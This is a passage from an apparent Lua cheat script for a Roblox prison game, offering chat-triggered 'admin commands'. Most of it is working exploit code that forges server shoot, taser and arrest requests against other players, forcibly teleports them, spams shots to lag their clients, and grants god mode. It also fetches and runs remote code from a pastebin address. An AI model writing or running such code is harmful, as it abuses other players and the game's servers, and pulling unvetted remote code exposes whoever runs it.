  531. Background3.Position = UDim2.new(0, PositionX, 0, PositionY)
  532. Topbar.Text = Gui.TopbarName.Value
  533. CmdTitle.Text = Gui.Title.Value
  534. else
  535. Background3.Visible = false
  536. end
  537. end)
  538.  
  539. if DisableScript then
  540. DisableScript()
  541. end
  542.  
  543. local Slient = false
  544. local ScriptDisabled = false
  545. local LoopBeam = {}
  546. local LoopKill = {}
  547. local LoopTase = {}
  548. local Admin = {}
  549. local Watching = nil
  550. local States = {}
  551. local BuyGamepass = game:GetService("MarketplaceService"):UserOwnsGamePassAsync(tonumber((game:GetService("Players").LocalPlayer.CharacterAppearance):split('=')[#((game:GetService("Players").LocalPlayer.CharacterAppearance):split('='))]), 96651)
  552.  
  553. local function GetPlayer(String)
  554. if not String then return end
  555. local Yes = {}
  556. for _, Player in ipairs(game.Players:GetPlayers()) do
  557. if string.lower(Player.Name):match(string.lower(String)) or string.lower(Player.DisplayName):match(string.lower(String)) then
  558. table.insert(Yes, Player)
  559. end
  560. end
  561. if #Yes > 0 then
  562. return Yes[1]
  563. elseif #Yes < 1 then
  564. return nil
  565. end
  566. end
  567.  
  568. local function GetPos()
  569. return game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  570. end
  571.  
  572. local function GetCamPos()
  573. return workspace.CurrentCamera.CFrame
  574. end
  575.  
  576. local function GetTeam()
  577. return game.Players.LocalPlayer.TeamColor.Name
  578. end
  579.  
  580. function Goto(Player, Distance)
  581. local Distance = Distance or CFrame.new(0, 0, 0)
  582. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame * Distance
  583. end
  584.  
  585. function Split(Arguaments, Split)
  586. if not Arguaments or not Split then return end
  587. return Arguaments:split(Split)
  588. end
  589.  
  590. function ChatNotify(Message, Colors, Size)
  591. game.StarterGui:SetCore("ChatMakeSystemMessage", {
  592. Text = Message,
  593. Color = Colors or Color3.fromRGB(255, 255, 255),
  594. Font = Enum.Font.SourceSans,
  595. FontSize = Size or Enum.FontSize.Size48
  596. })
  597. end
  598.  
  599. function Chat(Message, Whisper)
  600. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(Message, Whisper or "ALl")
  601. end
  602.  
  603. function WaitForChild(Time, Parent, Child)
  604. if not Parent or not Child then return end
  605. if Parent == "LocalPlayer" then Parent = game.Players.LocalPlayer end
  606. if Parent == "Character" then Parent = game.Players.LocalPlayer.Character end
  607. if Parent == "Backpack" then Parent = game.Players.LocalPlayer.Character.Backpack end
  608. local Times = Time * 10 or 1
  609. repeat wait(.1)
  610. Time = Time - 1
  611. until Parent:FindFirstChild(Child) or Time <= 0
  612. if Parent and Parent:FindFirstChild(Child) then
  613. return Parent:FindFirstChild(Child)
  614. else
  615. return nil
  616. end
  617. end
  618.  
  619. function Kill(Player)
  620. pcall(function()
  621. if Player.Character:FindFirstChild("ForceField") or not workspace:FindFirstChild(Player.Name) or not workspace:FindFirstChild(Player.Name):FindFirstChild("Head") or Player == nil or Player.Character.Parent ~= workspace then return end
  622. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  623.  
  624. local MyTeam = GetTeam()
  625. if Player.TeamColor.Name == game.Players.LocalPlayer.TeamColor.Name then
  626. local savedcf = GetPos()
  627. local savedcamcf = GetCamPos()
  628. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.random().Name)
  629. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  630. workspace.CurrentCamera.CFrame = savedcamcf
  631. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  632. end
  633.  
  634. local Gun = game.Players.LocalPlayer.Character:FindFirstChild("Remington 870") or game.Players.LocalPlayer.Backpack:FindFirstChild("Remington 870")
  635.  
  636. local FireEvent = {
  637. [1] = {
  638. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  639. ["Distance"] = 0,
  640. ["Cframe"] = CFrame.new(),
  641. ["Hit"] = workspace[Player.Name].Head
  642. }, [2] = {
  643. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  644. ["Distance"] = 0,
  645. ["Cframe"] = CFrame.new(),
  646. ["Hit"] = workspace[Player.Name].Head
  647. }, [3] = {
  648. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  649. ["Distance"] = 0,
  650. ["Cframe"] = CFrame.new(),
  651. ["Hit"] = workspace[Player.Name].Head
  652. }, [4] = {
  653. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  654. ["Distance"] = 0,
  655. ["Cframe"] = CFrame.new(),
  656. ["Hit"] = workspace[Player.Name].Head
  657. }, [5] = {
  658. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  659. ["Distance"] = 0,
  660. ["Cframe"] = CFrame.new(),
  661. ["Hit"] = workspace[Player.Name].Head
  662. }, [6] = {
  663. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  664. ["Distance"] = 0,
  665. ["Cframe"] = CFrame.new(),
  666. ["Hit"] = workspace[Player.Name].Head
  667. }, [7] = {
  668. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  669. ["Distance"] = 0,
  670. ["Cframe"] = CFrame.new(),
  671. ["Hit"] = workspace[Player.Name].Head
  672. }, [8] = {
  673. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  674. ["Distance"] = 0,
  675. ["Cframe"] = CFrame.new(),
  676. ["Hit"] = workspace[Player.Name].Head
  677. }
  678. }
  679.  
  680. game:GetService("ReplicatedStorage").ShootEvent:FireServer(FireEvent, Gun)
  681. Gun.Parent = game.Players.LocalPlayer.Character
  682. game.Players.LocalPlayer.Character["Remington 870"]:Destroy()
  683. end)
  684. end
  685.  
  686. function Tase(Player)
  687. if Player.TeamColor.Name == "Bright blue" or not workspace:FindFirstChild(Player.Name) or not workspace:FindFirstChild(Player.Name):FindFirstChild("Head") or Player == nil or Player.Character.Parent ~= workspace then return end
  688. pcall(function()
  689. local savedcf = GetPos()
  690. local savedteam
  691.  
  692. local Gun = game.Players.LocalPlayer.Backpack:FindFirstChild("Taser") or game.Players.LocalPlayer.Character:FindFirstChild("Taser")
  693.  
  694. local changedteam = false
  695. if game.Players.LocalPlayer.TeamColor.Name ~= "Bright blue" or not Gun then
  696. savedteam = GetTeam()
  697. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright blue").Name)
  698. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  699. changedteam = true
  700. end
  701.  
  702. local Guns = game.Players.LocalPlayer.Backpack:FindFirstChild("Taser") or game.Players.LocalPlayer.Character:FindFirstChild("Taser")
  703.  
  704. local TaseEvent =
  705. {
  706. [1] =
  707. {
  708. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  709. ["Distance"] = 0,
  710. ["Cframe"] = CFrame.new(),
  711. ["Hit"] = workspace[Player.Name].Torso
  712. }
  713. }
  714.  
  715. game:GetService("ReplicatedStorage").ShootEvent:FireServer(TaseEvent, Guns)
  716. if changedteam then
  717. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new(savedteam).Name)
  718. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  719. end
  720. end)
  721. end
  722.  
  723. function Teleport(Player, Position)
  724. if Player == nil or Position == nil then return end
  725. local savedcf = GetPos()
  726. workspace.Remote.loadchar:InvokeServer()
  727. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  728. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  729. local CHAR = game.Players.LocalPlayer.Character
  730. CHAR.Humanoid.Name = "1"
  731. local c = CHAR["1"]:Clone()
  732. c.Name = "Humanoid"
  733. c.Parent = CHAR
  734. CHAR["1"]:Destroy()
  735. game.Workspace.CurrentCamera.CameraSubject = CHAR
  736. CHAR.Animate.Disabled = true
  737. wait()
  738. CHAR.Animate.Disabled = false
  739. CHAR.Humanoid.DisplayDistanceType = "None"
  740. game.Players.LocalPlayer:FindFirstChild("Backpack"):FindFirstChild("M9").Parent = CHAR
  741. local STOP = 0
  742. repeat wait(.1)
  743. STOP = STOP + 1
  744. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 0.75)
  745. until (not game.Players.LocalPlayer.Character:FindFirstChild("M9") or not game.Players.LocalPlayer.Character.HumanoidRootPart or not Player.Character.HumanoidRootPart or not game.Players.LocalPlayer.Character.HumanoidRootPart.Parent or not Player.Character.HumanoidRootPart.Parent or STOP > 500) and STOP > 3
  746. local STOP_2 = 0
  747. repeat wait()
  748. STOP_2 = STOP_2 + 1
  749. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Position
  750. until STOP_2 > 10
  751. workspace.Remote.loadchar:InvokeServer()
  752. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  753. end
  754.  
  755. function TeleportV(Player, Player2)
  756. if Player == nil or Player2 == nil then return end
  757. local savedcf = GetPos()
  758. workspace.Remote.loadchar:InvokeServer()
  759. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  760. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  761. local CHAR = game.Players.LocalPlayer.Character
  762. CHAR.Humanoid.Name = "1"
  763. local c = CHAR["1"]:Clone()
  764. c.Name = "Humanoid"
  765. c.Parent = CHAR
  766. CHAR["1"]:Destroy()
  767. game.Workspace.CurrentCamera.CameraSubject = CHAR
  768. CHAR.Animate.Disabled = true
  769. wait()
  770. CHAR.Animate.Disabled = false
  771. CHAR.Humanoid.DisplayDistanceType = "None"
  772. game.Players.LocalPlayer:FindFirstChild("Backpack"):FindFirstChild("M9").Parent = CHAR
  773. local STOP = 0
  774. repeat wait(.1)
  775. STOP = STOP + 1
  776. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 0.75)
  777. until (not game.Players.LocalPlayer.Character:FindFirstChild("M9") or not game.Players.LocalPlayer.Character.HumanoidRootPart or not Player.Character.HumanoidRootPart or not game.Players.LocalPlayer.Character.HumanoidRootPart.Parent or not Player.Character.HumanoidRootPart.Parent or STOP > 500) and STOP > 3
  778. local STOP_2 = 0
  779. repeat wait()
  780. STOP_2 = STOP_2 + 1
  781. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player2.Character.HumanoidRootPart.CFrame
  782. until STOP_2 > 10
  783. workspace.Remote.loadchar:InvokeServer()
  784. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  785. end
  786.  
  787. function ArrestEvent(Player, Time)
  788. for i = 1,Time do
  789. workspace.Remote.arrest:InvokeServer(Player.Character.Head)
  790. end
  791. end
  792.  
  793. function Arrest(Player, Time)
  794. local Time = Time or 1
  795. local savedcf = GetPos()
  796. local savedcamcf = GetCamPos()
  797. local savedteam = GetTeam()
  798. if Player then
  799. repeat wait()
  800. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
  801. for i = 1,Time do
  802. coroutine.wrap(function()
  803. workspace.Remote.arrest:InvokeServer(Player.Character.Head)
  804. end)()
  805. end
  806. until Player.Character:FindFirstChild("Head"):FindFirstChild("handcuffedGui")
  807. wait()
  808. end
  809. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new(savedteam).Name)
  810. game.Players.LocalPlayer.Character.Humanoid.Sit = false
  811. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  812. workspace.CurrentCamera.CFrame = savedcamcf
  813. end
  814.  
  815. function CreateBeam(Player, Distance, Position)
  816. if Player then
  817. pcall(function()
  818. local Backpack = game.Players.LocalPlayer.Backpack
  819. local Character = game.Players.LocalPlayer.Character
  820. local Gun = Backpack:FindFirstChild("Remington 870") or Character:FindFirstChild("Remington 870")
  821. if not Gun then
  822. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  823. end
  824. Gun = Backpack:FindFirstChild("Remington 870") or Character:FindFirstChild("Remington 870")
  825. local Head = Player.Character.Head
  826. if Head and Player and Character and Backpack and Gun and Distance and Position then
  827. game.ReplicatedStorage.ShootEvent:FireServer({
  828. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  829. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  830. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  831. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  832. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  833. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  834. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  835. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head}
  836. }, Gun)
  837. end
  838. Gun.Parent = game.Players.LocalPlayer.Character
  839. game.Players.LocalPlayer.Character:FindFirstChild("Remington 870"):Destroy()
  840. end)
  841. end
  842. end
  843.  
  844. function CreateBeam2(Player, Distance, Position)
  845. if Player then
  846. pcall(function()
  847. local Backpack = game.Players.LocalPlayer.Backpack
  848. local Character = game.Players.LocalPlayer.Character
  849. local Gun = Backpack:FindFirstChild("AK-47") or Character:FindFirstChild("AK-47")
  850. if not Gun then
  851. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["AK-47"].ITEMPICKUP)
  852. end
  853. Gun = Backpack:FindFirstChild("AK-47") or Character:FindFirstChild("AK-47")
  854. local Head = Player.Character.Head
  855. if Head and Player and Character and Backpack and Gun and Distance and Position then
  856. game.ReplicatedStorage.ShootEvent:FireServer({
  857. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  858. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  859. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  860. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  861. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  862. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  863. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  864. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  865. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  866. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  867. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  868. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  869. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  870. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  871. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  872. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  873. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  874. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  875. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  876. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  877. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  878. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  879. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  880. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  881. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  882. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  883. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  884. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  885. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  886. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  887. }, Gun)
  888. end
  889. Gun.Parent = game.Players.LocalPlayer.Character
  890. game.Players.LocalPlayer.Character:FindFirstChild("AK-47"):Destroy()
  891. end)
  892. end
  893. end
  894.  
  895. function CreateBeam3(Player, Distance, Position)
  896. if Player then
  897. pcall(function()
  898. local Backpack = game.Players.LocalPlayer.Backpack
  899. local Character = game.Players.LocalPlayer.Character
  900. local Gun = Backpack:FindFirstChild("M9") or Character:FindFirstChild("M9")
  901. if not Gun then
  902. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["M9"].ITEMPICKUP)
  903. end
  904. Gun = Backpack:FindFirstChild("M9") or Character:FindFirstChild("M9")
  905. local Head = Player.Character.Head
  906. if Head and Player and Character and Backpack and Gun and Distance and Position then
  907. game.ReplicatedStorage.ShootEvent:FireServer({
  908. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  909. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  910. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  911. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  912. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  913. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  914. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  915. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  916. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  917. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  918. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  919. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  920. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  921. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head},
  922. {["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),["Distance"] = Distance,["Cframe"] = Position,["Hit"] = Head}
  923. }, Gun)
  924. end
  925. Gun.Parent = game.Players.LocalPlayer.Character
  926. game.Players.LocalPlayer.Character:FindFirstChild("M9"):Destroy()
  927. end)
  928. end
  929. end
  930.  
  931. function Beam(Player, Distance, Time)
  932. if Player and Distance then
  933. local RunService = game:GetService("RunService")
  934. RunService:BindToRenderStep(Player.Name, math.huge, function()
  935. coroutine.wrap(function()
  936. CreateBeam(Player, Distance, Player.Character.HumanoidRootPart.CFrame)
  937. end)()
  938. end)
  939. delay(Time, function()
  940. pcall(function()
  941. RunService:UnbindFromRenderStep(Player.Name)
  942. end)
  943. end)
  944. end
  945. end
  946.  
  947. function LagBeam(Player, Distance, Time)
  948. if Player and Distance then
  949. local RunService = game:GetService("RunService")
  950. RunService:BindToRenderStep(Player.Name, math.huge, function()
  951. coroutine.wrap(function()
  952. CreateBeam(Player, Distance, Player.Character.HumanoidRootPart.CFrame)
  953. end)()
  954. coroutine.wrap(function()
  955. CreateBeam2(Player, Distance, Player.Character.HumanoidRootPart.CFrame)
  956. end)()
  957. coroutine.wrap(function()
  958. CreateBeam3(Player, Distance, Player.Character.HumanoidRootPart.CFrame)
  959. end)()
  960. end)
  961. delay(Time, function()
  962. pcall(function()
  963. RunService:UnbindFromRenderStep(Player.Name)
  964. end)
  965. end)
  966. end
  967. end
  968.  
  969. function DetectMove(Player)
  970. local oldpos = Player.Character.HumanoidRootPart.CFrame
  971. local Move
  972. local Time = 0
  973. repeat wait(.1)
  974. Time = Time + 1
  975. if oldpos ~= Player.Character.HumanoidRootPart.CFrame then
  976. Move = true
  977. else
  978. Move = false
  979. end
  980. until (Time >= 500 and Move == false) or Move == true
  981. return Move
  982. end
  983.  
  984. function FeGodMode()
  985. game.Players.LocalPlayer.Character.Humanoid.Name = 1
  986. local l = game.Players.LocalPlayer.Character["1"]:Clone()
  987. l.Parent = game.Players.LocalPlayer.Character
  988. l.Name = "Humanoid"
  989. game.Players.LocalPlayer.Character.Animate.Disabled = true
  990. wait()
  991. game.Players.LocalPlayer.Character.Animate.Disabled = false
  992. game.Players.LocalPlayer.Character["1"]:Destroy()
  993. game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
  994. end
  995.  
  996. local function GetPlayerPart(Player)
  997. if not Player then return end
  998. if Player:FindFirstChild("HumanoidRootPart") then
  999. return Player.HumanoidRootPart
  1000. elseif Player:FindFirstChild("Torso") then
  1001. return Player.Torso
  1002. end
  1003. end
  1004.  
  1005. local Mouse = game.Players.LocalPlayer:GetMouse()
  1006.  
  1007. function CopyChat(Player)
  1008. Player.Chatted:Connect(function(Message)
  1009. if States.CopyChat then
  1010. Chat("["..Player.DisplayName.."]: "..Message)
  1011. end
  1012. end)
  1013. end
  1014.  
  1015. function Died(Player)
  1016. pcall(function()
  1017. if Player.Character.Humanoid.Health < 1 then
  1018. if States.ChatNotify then
  1019. Chat(Player.DisplayName.." Died")
  1020. end
  1021. if States.Notify then
  1022. game.StarterGui:SetCore("SendNotification", {
  1023. Title = "Game",
  1024. Text = Player.DisplayName.." Died",
  1025. Icon = game.Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size352x352)
  1026. })
  1027. end
  1028. end
  1029. end)
  1030. end
  1031.  
  1032. function PlayerPickUp(Player)
  1033. Player.Backpack.ChildAdded:Connect(function(Item)
  1034. if States.ChatNotify then
  1035. Chat(Player.DisplayName.." Pick Up "..Item.Name)
  1036. end
  1037. if States.Notify then
  1038. game.StarterGui:SetCore("SendNotification", {
  1039. Title = "Game",
  1040. Text = Player.DisplayName.." Pick Up "..Item.Name,
  1041. Icon = game.Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size352x352)
  1042. })
  1043. end
  1044. end)
  1045. end
  1046.  
  1047. local function Notify(Message, Color, Text)
  1048. Notify6.Text = Notify5.Text
  1049. Notify6.TextColor3 = Notify5.TextColor3
  1050. Notify5.Text = Notify4.Text
  1051. Notify5.TextColor3 = Notify4.TextColor3
  1052. Notify4.Text = Notify3.Text
  1053. Notify4.TextColor3 = Notify3.TextColor3
  1054. Notify3.Text = Notify2.Text
  1055. Notify3.TextColor3 = Notify2.TextColor3
  1056. Notify2.Text = Notify1.Text
  1057. Notify2.TextColor3 = Notify1.TextColor3
  1058. Notify1.Text = "["..Text.."] "..Message
  1059. Notify1.TextColor3 = Color or Color3.fromRGB(255, 255, 255)
  1060. end
  1061.  
  1062. local function Loadstring(Https)
  1063. if not Https then return end
  1064. loadstring(game:HttpGet((Https), true))()
  1065. end
  1066.  
  1067. local function Command(Cmd)
  1068. return Arg1 == Prefix..Cmd
  1069. end
  1070.  
  1071. local function PrefixCommand(Cmd)
  1072. return Arg1 == "!"..Cmd
  1073. end
  1074.  
  1075. local Walls = {
  1076. game.Workspace.Prison_Halls.walls,
  1077. game.Workspace.Prison_Halls.roof,
  1078. game.Workspace.Prison_Halls.outlines,
  1079. game.Workspace.Prison_Halls.lights,
  1080. game.Workspace.Prison_Halls.accent,
  1081. game.Workspace.Prison_Halls.glass,
  1082. game.Workspace.Prison_Cellblock.b_front,
  1083. game.Workspace.Prison_Cellblock.doors,
  1084. game.Workspace.Prison_Cellblock.c_tables,
  1085. game.Workspace.Prison_Cellblock.a_front,
  1086. game.Workspace.Prison_Cellblock.b_outerwall,
  1087. game.Workspace.Prison_Cellblock.c_wall,
  1088. game.Workspace.Prison_Cellblock.b_wall,
  1089. game.Workspace.Prison_Cellblock.c_hallwall,
  1090. game.Workspace.Prison_Cellblock.a_outerwall,
  1091. game.Workspace.Prison_Cellblock.b_ramp,
  1092. game.Workspace.Prison_Cellblock.a_ramp,
  1093. game.Workspace.Prison_Cellblock.a_walls,
  1094. game.Workspace.Prison_Cellblock.Cells_B,
  1095. game.Workspace.Prison_Cellblock.Cells_A,
  1096. game.Workspace.Prison_Cellblock.c_corner,
  1097. game.Workspace.Prison_Cellblock.Wedge,
  1098. game.Workspace.Prison_Cellblock.a_ceiling,
  1099. game.Workspace.Prison_Cellblock.b_ceiling,
  1100. game.Workspace.City_buildings,
  1101. game.Workspace.Prison_OuterWall,
  1102. game.Workspace.Prison_Fences,
  1103. game.Workspace.Prison_Guard_Outpost,
  1104. game.Workspace.Prison_Cafeteria.building,
  1105. game.Workspace.Prison_Cafeteria.glass,
  1106. game.Workspace.Prison_Cafeteria.oven,
  1107. game.Workspace.Prison_Cafeteria.shelves,
  1108. game.Workspace.Prison_Cafeteria.vents,
  1109. game.Workspace.Prison_Cafeteria.accents,
  1110. game.Workspace.Prison_Cafeteria["vending machine"],
  1111. game.Workspace.Prison_Cafeteria.Prison_table1,
  1112. game.Workspace.Prison_Cafeteria.counter,
  1113. game.Workspace.Prison_Cafeteria.boxes,
  1114. game.Workspace.Prison_Cafeteria["trash bins"]
  1115. }
  1116.  
  1117. --[[if not Slient then
  1118. Chat("Admin Commands By LocalPlayer # 7434")
  1119. Chat("Admin Commands Version "..Versions)
  1120. Chat("Current Prefix Is "..Prefix)
  1121. wait()
  1122. Chat("Admin Commands Loaded!")
  1123. else
  1124. Chat("Loaded")
  1125. Chat("P "..Prefix)
  1126. Chat("V "..Versions)
  1127. end]]
  1128.  
  1129. Notify("Loaded admin commands", Color3.fromRGB(0, 255, 0), "Loads")
  1130.  
  1131. function PlayerChatted(Message)
  1132. if ScriptDisabled then return end
  1133. Split = Message:split(" ")
  1134. Arg1 = Split[1]
  1135. Arg2 = Split[2]
  1136. Arg3 = Split[3]
  1137. Arg4 = Split[4]
  1138. if Command("unload") or Command("destroygui") then
  1139. Notify("Unloading...", Color3.fromRGB(0, 255, 255), "Unloads")
  1140. wait(.1)
  1141. pcall(function()
  1142. CmdGui:Destroy()
  1143. States = {}
  1144. LoopKill = {}
  1145. LoopTase = {}
  1146. Admin = {}
  1147. ScriptDisabled = true
  1148. for i,v in pairs(game.Lighting:GetChildren()) do
  1149. v.Parent = workspace
  1150. end
  1151. end)
  1152. end
  1153. if Command("reload") or Command("update") then
  1154. Notify("Updating versions...", Color3.fromRGB(0, 255, 255), "Updates")
  1155. pcall(function()
  1156. CmdGui:Destroy()
  1157. States = {}
  1158. LoopKill = {}
  1159. LoopTase = {}
  1160. Admin = {}
  1161. ScriptDisabled = true
  1162. for i,v in pairs(game.Lighting:GetChildren()) do
  1163. v.Parent = workspace
  1164. end
  1165. end)
  1166. Loadstring("https://pastebin.com/raw/9ab2s523")
  1167. end
  1168. if Command("beam") then
